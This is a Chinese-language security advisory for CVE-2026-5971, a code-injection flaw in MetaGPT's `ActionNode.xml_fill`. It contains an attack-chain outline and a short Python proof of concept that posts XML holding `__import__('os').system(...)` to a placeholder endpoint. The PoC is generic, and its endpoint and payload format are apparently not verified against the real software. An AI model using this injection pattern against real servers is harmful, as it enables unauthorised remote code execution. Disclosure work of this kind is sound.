IPBUF安全漏洞报告
English
CVE-2026-5971 CVSS 7.3 高危

CVE-2026-5971 MetaGPT代码注入漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5971
漏洞类型
代码注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FoundationAgents MetaGPT

相关标签

代码注入远程代码执行MetaGPTXML注入CVE-2026-5971

漏洞概述

FoundationAgents MetaGPT 0.8.1及之前版本存在严重安全漏洞。该漏洞源于XML处理组件中`ActionNode.xml_fill`函数未能正确中和动态评估代码中的指令。攻击者无需认证即可远程利用此漏洞,通过精心构造的恶意XML数据包,绕过安全过滤机制,从而在服务器端执行任意代码,可能导致数据泄露或系统被控。

技术细节

漏洞的具体成因在于`metagpt/actions/action_node.py`文件中的`xml_fill`函数在处理XML输入时,未能对包含在动态代码执行指令中的恶意内容进行有效的净化。当应用程序解析用户提供的XML数据时,由于缺乏严格的输入验证和沙箱隔离机制,攻击者可以注入特定的Python指令或其他代码片段。这些恶意指令在后续的动态评估阶段被服务器解释并执行。由于攻击向量为网络(AV:N)且无需用户交互(UI:N),攻击者可以自动化地批量扫描并利用该漏洞,远程在服务器上执行任意系统命令,造成数据泄露、服务中断等严重后果。该漏洞利用代码已被公开,风险极高。

攻击链分析

STEP 1
侦察
攻击者扫描网络以识别运行FoundationAgents MetaGPT 0.8.1及以下版本的目标系统。
STEP 2
制作载荷
攻击者构造包含恶意代码指令的XML数据,该指令旨在利用xml_fill函数中的代码注入缺陷。
STEP 3
发送请求
攻击者向目标服务器发送包含恶意XML载荷的HTTP请求,无需认证即可触发漏洞。
STEP 4
执行代码
服务器解析XML数据并动态评估其中的恶意指令,导致攻击者在服务器端执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://target-url:port/api/endpoint" # Malicious XML payload designed to inject code via xml_fill # The payload attempts to execute a command using dynamic evaluation payload_xml = """<?xml version="1.0"?> <root> <action> <param>__import__('os').system('whoami')</param> </action> </root>""" headers = { "Content-Type": "application/xml" } try: # Sending the malicious request response = requests.post(target_url, data=payload_xml, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"An error occurred: {e}")

影响范围

FoundationAgents MetaGPT <= 0.8.1

防御指南

临时缓解措施
在应用官方补丁前,建议通过防火墙限制对MetaGPT服务的访问,仅允许可信来源连接。同时,监控服务器日志中是否存在异常的系统命令执行行为或可疑的XML解析请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表